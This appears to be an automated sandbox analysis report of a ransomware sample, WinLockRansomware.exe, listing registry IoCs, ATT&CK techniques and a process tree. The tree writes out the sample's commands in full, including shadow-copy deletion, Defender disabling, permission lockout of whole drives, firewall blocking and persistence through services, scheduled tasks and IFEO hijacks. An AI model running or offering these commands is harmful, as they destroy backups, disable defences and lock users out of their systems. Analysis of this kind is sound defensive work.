b078d739956e07d28576b3f3363d552f1cb95821ab98b717ec6731c53de33a7a

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Windows\\System32\\winlogon_fix.exe"	WinLockRansomware.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\winlogon_fix.exe,"	WinLockRansomware.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Boot or Logon Autostart Execution: Active Setup 2 TTPs 3 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{FD00270C-EBD2-448E-B07B-2E311D7467CD}\StubPath = "C:\\Windows\\System32\\winlogon_fix.exe"	WinLockRansomware.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{FD00270C-EBD2-448E-B07B-2E311D7467CD}\IsInstalled = "1"	WinLockRansomware.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{FD00270C-EBD2-448E-B07B-2E311D7467CD}	WinLockRansomware.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
648	powershell.exe
4316	powershell.exe

Disables RegEdit via registry modification 2 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	WinLockRansomware.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	WinLockRansomware.exe

Disables Task Manager via registry modification
defense_evasion

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

Disable or Modify Tools

T1562.001

pid	Process
4316	powershell.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 8 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rstrui.exe\Debugger = "C:\\Windows\\System32\\winlogon_fix.exe"	WinLockRansomware.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sdclt.exe	WinLockRansomware.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sdclt.exe\Debugger = "C:\\Windows\\System32\\winlogon_fix.exe"	WinLockRansomware.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\recdisc.exe	WinLockRansomware.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\recdisc.exe\Debugger = "C:\\Windows\\System32\\winlogon_fix.exe"	WinLockRansomware.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	WinLockRansomware.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Windows\\System32\\winlogon_fix.exe"	WinLockRansomware.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rstrui.exe	WinLockRansomware.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3116	netsh.exe
5072	netsh.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	WinLockRansomware.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Modifies file permissions 1 TTPs 3 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1824	icacls.exe
4844	icacls.exe
964	icacls.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\winlogon_fix.exe	WinLockRansomware.exe
File created	C:\Windows\System32\winlogon_fix.exe	WinLockRansomware.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

persistence privilege_escalation

Ignore Process Interrupts

T1564.011

pid	Process
4316	powershell.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4468	sc.exe
3732	sc.exe
4740	sc.exe
3840	sc.exe
4320	sc.exe
4800	sc.exe
5104	sc.exe
2192	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4952	vssadmin.exe

Modifies data under HKEY_USERS 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@%SystemRoot%\system32\hnetcfgclient.dll,-201 = "HNetCfg Client"	svchost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3812	schtasks.exe
1136	schtasks.exe
3168	schtasks.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
648	powershell.exe
648	powershell.exe
4316	powershell.exe
4316	powershell.exe
4380	WinLockRansomware.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	4380	WinLockRansomware.exe
Token: SeDebugPrivilege	648	powershell.exe
Token: SeDebugPrivilege	4316	powershell.exe
Token: SeBackupPrivilege	4948	vssvc.exe
Token: SeRestorePrivilege	4948	vssvc.exe
Token: SeAuditPrivilege	4948	vssvc.exe
Token: SeLoadDriverPrivilege	4512	svchost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 4380 wrote to memory of 1824	4380	WinLockRansomware.exe	86
PID 4380 wrote to memory of 4468	4380	WinLockRansomware.exe	88
PID 4380 wrote to memory of 3732	4380	WinLockRansomware.exe	90
PID 4380 wrote to memory of 4740	4380	WinLockRansomware.exe	92
PID 4380 wrote to memory of 3840	4380	WinLockRansomware.exe	94
PID 4380 wrote to memory of 4320	4380	WinLockRansomware.exe	96
PID 4380 wrote to memory of 4800	4380	WinLockRansomware.exe	98
PID 4380 wrote to memory of 5104	4380	WinLockRansomware.exe	100
PID 4380 wrote to memory of 2192	4380	WinLockRansomware.exe	102
PID 4380 wrote to memory of 1136	4380	WinLockRansomware.exe	104
PID 4380 wrote to memory of 3168	4380	WinLockRansomware.exe	107
PID 4380 wrote to memory of 3812	4380	WinLockRansomware.exe	109
PID 4380 wrote to memory of 3116	4380	WinLockRansomware.exe	112
PID 4380 wrote to memory of 5072	4380	WinLockRansomware.exe	117
PID 4380 wrote to memory of 648	4380	WinLockRansomware.exe	119
PID 4380 wrote to memory of 4316	4380	WinLockRansomware.exe	121
PID 4380 wrote to memory of 4952	4380	WinLockRansomware.exe	123
PID 4380 wrote to memory of 4844	4380	WinLockRansomware.exe	127
PID 4380 wrote to memory of 964	4380	WinLockRansomware.exe	129
PID 4380 wrote to memory of 4888	4380	WinLockRansomware.exe	131

System policy modification 1 TTPs 2 IoCs

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr = "1"	WinLockRansomware.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	WinLockRansomware.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\WinLockRansomware.exe
"C:\Users\Admin\AppData\Local\Temp\WinLockRansomware.exe"
1⤵
- Modifies WinLogon for persistence
- Boot or Logon Autostart Execution: Active Setup
- Disables RegEdit via registry modification
- Event Triggered Execution: Image File Execution Options Injection
- Checks BIOS information in registry
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4380
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:\Windows\System32\winlogon_fix.exe" /deny Everyone:F /inheritance:r
  2⤵
  - Modifies file permissions
  PID:1824
- C:\Windows\SYSTEM32\sc.exe
  "sc" create "WinDefSrv" binPath= "C:\Windows\System32\winlogon_fix.exe" start= auto
  2⤵
  - Launches sc.exe
  PID:4468
- C:\Windows\SYSTEM32\sc.exe
  "sc" start "WinDefSrv"
  2⤵
  - Launches sc.exe
  PID:3732
- C:\Windows\SYSTEM32\sc.exe
  "sc" create "WinUpdSrv" binPath= "C:\Windows\System32\winlogon_fix.exe" start= auto
  2⤵
  - Launches sc.exe
  PID:4740
- C:\Windows\SYSTEM32\sc.exe
  "sc" start "WinUpdSrv"
  2⤵
  - Launches sc.exe
  PID:3840
- C:\Windows\SYSTEM32\sc.exe
  "sc" create "WinNetSrv" binPath= "C:\Windows\System32\winlogon_fix.exe" start= auto
  2⤵
  - Launches sc.exe
  PID:4320
- C:\Windows\SYSTEM32\sc.exe
  "sc" start "WinNetSrv"
  2⤵
  - Launches sc.exe
  PID:4800
- C:\Windows\SYSTEM32\sc.exe
  "sc" create "WinSecSrv" binPath= "C:\Windows\System32\winlogon_fix.exe" start= auto
  2⤵
  - Launches sc.exe
  PID:5104
- C:\Windows\SYSTEM32\sc.exe
  "sc" start "WinSecSrv"
  2⤵
  - Launches sc.exe
  PID:2192
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "WinFix_OnLogon" /tr "C:\Windows\System32\winlogon_fix.exe" /sc onlogon /ru SYSTEM /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1136
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "WinFix_OnStart" /tr "C:\Windows\System32\winlogon_fix.exe" /sc onstart /ru SYSTEM /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3168
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "WinFix_Hourly" /tr "C:\Windows\System32\winlogon_fix.exe" /sc hourly /mo 1 /ru SYSTEM /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3812
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" advfirewall set allprofiles firewallpolicy blockinbound,blockoutbound
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:3116
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" advfirewall firewall add rule name="WinSystem" dir=in action=allow program="C:\Windows\System32\winlogon_fix.exe" enable=yes
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:5072
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Add-MpPreference -ExclusionExtension '.jpg,.jpeg,.png,.gif,.bmp,.mp4,.avi,.mkv,.mov,.doc,.docx,.xls,.xlsx,.pdf,.zip,.rar,.ps1,.vbs,.js,.bat,.cmd,.exe,.dll' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Disables one or more Microsoft Defender components
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4316
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4952
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:\" /deny Everyone:(OI)(CI)F /t /q
  2⤵
  - Modifies file permissions
  PID:4844
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "F:\" /deny Everyone:(OI)(CI)F /t /q
  2⤵
  - Modifies file permissions
  PID:964
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" interface set interface "Ethernet" admin=disable
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4888

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4948

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s Netman
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4512

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry